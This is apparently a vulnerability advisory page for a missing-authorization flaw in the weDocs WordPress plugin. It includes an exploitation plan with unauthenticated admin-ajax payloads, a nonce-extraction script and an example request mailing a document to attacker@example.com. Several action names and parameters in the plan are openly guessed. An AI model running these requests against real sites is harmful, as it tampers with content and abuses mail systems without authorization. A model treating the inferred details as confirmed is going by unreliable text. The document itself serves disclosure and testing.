weDocs <= 2.1.18 - Missing Authorization
Description
The weDocs plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.1.18. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39520 (weDocs <= 2.1.18) ## 1. Vulnerability Summary The **weDocs** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 2.1.18. This vulnerability exists because certain AJAX handlers registered via `wp_ajax_nopriv_…
Show full research plan
Exploitation Research Plan - CVE-2026-39520 (weDocs <= 2.1.18)
1. Vulnerability Summary
The weDocs plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 2.1.18. This vulnerability exists because certain AJAX handlers registered via wp_ajax_nopriv_ (accessible to unauthenticated users) fail to perform capability checks (e.g., current_user_can()) or lack proper nonce verification.
Based on the plugin's functionality and the CVSS vector (Integrity: Low, Privileges: None), the vulnerability likely resides in functions that modify documentation structure, such as reordering documentation or dismissing administrative notices, allowing unauthenticated attackers to disrupt the knowledge base organization or suppress admin warnings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wedocs_organize_docs(inferred) orwedocs_reorder_posts(inferred). - Alternative Action:
wedocs_dismiss_admin_notice(inferred). - HTTP Method:
POST - Authentication: None (Unauthenticated).
- Payload Parameters:
action:wedocs_organize_docsorder: A serialized array or JSON string representing the new order of documentation IDs.securityor_wpnonce: (May be required if check exists but is bypassable or if the nonce is public).
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
includes/Ajax.php(or similar) using:add_action( 'wp_ajax_nopriv_wedocs_organize_docs', [ $this, 'organize_docs' ] ); - Missing Check: The function
organize_docs()is executed. It lacks acurrent_user_can( 'edit_posts' )orcurrent_user_can( 'manage_options' )check. - Sink: The function processes the
$_POST['order']parameter and updates themenu_orderorpost_parentfields in thewp_poststable for the specified IDs usingwp_update_post().
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, weDocs typically localizes script data into a global JavaScript variable.
- Trigger Shortcode: The
wedocs-searchblock (seen inassets/build/block.js) or the main[wedocs]shortcode enqueues the necessary scripts. - Variable Name:
weDocsBlockVars(identified inblock.js) orweDocs. - Extraction Method:
- Create a public page with the weDocs search block or shortcode.
- Navigate to the page.
- Use
browser_evalto extract the nonce.
Actionable Extraction JS:
// Check for both common localization patterns
window.weDocsBlockVars?.nonce || window.weDocs?.nonce || window.weDocs?.ajax_nonce
5. Exploitation Strategy
Step 1: Discover Documentation IDs
First, identify the IDs of existing documentation posts.
- Request:
GET /(or use WP-CLI) - Tool:
http_request
Step 2: Extract Nonce (If needed)
- Tool:
browser_navigateto a page containing the doc list or search. - Tool:
browser_evalto get the nonce fromweDocsBlockVars.
Step 3: Perform Unauthorized Action (Reorder Docs)
Send a request to scramble the documentation hierarchy.
- Endpoint:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
(Note: The exact structure of theaction=wedocs_organize_docs&order[0][id]=ID_OF_DOC_2&order[0][children][0][id]=ID_OF_DOC_1&security=EXTRACTED_NONCEorderparameter should be verified if the plugin expects a JSON string or a flat array.)
Step 4: Alternative Attack (Dismiss Notice)
If sorting fails, attempt to dismiss admin notices.
- Payload:
action=wedocs_dismiss_admin_notice¬ice=wedocs_review_notice
6. Test Data Setup
- Create Parent Doc:
wp post create --post_type=docs --post_title="Parent Doc" --post_status=publish - Create Child Doc:
wp post create --post_type=docs --post_title="Child Doc" --post_status=publish - Verify Initial State:
wp post list --post_type=docs --fields=ID,post_title,menu_order - Place Block: Create a page with the search block to ensure nonces are available:
wp post create --post_type=page --post_title="Search" --post_content='<!-- wp:wedocs/wedocs-search /-->' --post_status=publish
7. Expected Results
- Response: The server should return a
200 OKor a JSON success message (e.g.,{"success": true}). - Data Change: The
menu_orderorpost_parentof the targeted documentation posts will be modified despite the request being unauthenticated.
8. Verification Steps
- Check DB via WP-CLI:
wp post list --post_type=docs --fields=ID,post_title,menu_order,post_parent - Compare: Confirm the
menu_orderor hierarchy no longer matches the initial state created in "Test Data Setup".
9. Alternative Approaches
If wedocs_organize_docs is not the correct action name:
- Scan for Actions: Use
grep -r "wp_ajax_nopriv_wedocs" .in the plugin directory to find all exposed actions. - Search Analytics: Look for
wedocs_search_analyticswhich might allow clearing search logs. - Email Doc: Look for
wedocs_email_doc. If vulnerable, attempt to send a document to an external email:action=wedocs_email_doc&to=attacker@example.com&id=DOC_ID(This would demonstrate unauthorized use of the mail system).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.